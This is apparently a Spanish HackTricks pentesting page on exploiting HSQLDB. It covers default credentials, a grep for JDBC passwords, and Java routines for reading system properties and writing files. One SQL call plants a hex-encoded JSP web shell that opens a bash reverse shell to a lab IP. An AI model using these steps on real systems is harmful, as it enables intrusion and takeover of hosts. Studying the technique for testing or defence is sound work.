{{#include ../banners/hacktricks-training.md}} # Información Básica **HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** es el sistema de base de datos relacional SQL líder escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebidos y de servidor. **Puerto por defecto:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # Información ### Configuraciones Predeterminadas Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y estás buscando escalar privilegios. Las credenciales predeterminadas suelen ser `sa` con una contraseña en blanco. Si has explotado otro servicio, busca posibles credenciales usando ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Tenga en cuenta el nombre de la base de datos cuidadosamente; lo necesitará para conectarse. # Recolección de Información Conéctese a la instancia de la base de datos descargando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) y extrayendo `hsqldb/lib/hsqldb.jar`. Ejecute la aplicación GUI \(eww\) usando `java -jar hsqldb.jar` y conéctese a la instancia utilizando las credenciales descubiertas/débiles. Tenga en cuenta que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`. # Trucos ## Rutinas del Lenguaje Java Podemos llamar a métodos estáticos de una clase de Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Tenga en cuenta que la clase llamada debe estar en el classpath de la aplicación. Las JRTs pueden ser `functions` o `procedures`. Las funciones se pueden llamar a través de declaraciones SQL si el método de Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la declaración `VALUES`. Si el método de Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la declaración `CALL`. ## Lectura de Propiedades del Sistema Java Crear función: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` Ejecutar función: ```text VALUES(getsystemproperty('user.name')) ``` Puedes encontrar una [lista de propiedades del sistema aquí](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## Escribir contenido en un archivo Puedes usar el `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget de Java ubicado en el JDK \(cargado automáticamente en el class path de la aplicación\) para escribir elementos codificados en hex en el disco a través de un procedimiento personalizado. **Nota el tamaño máximo de 1024 bytes**. Crear procedimiento: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Ejecutar procedimiento: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` {{#include ../banners/hacktricks-training.md}}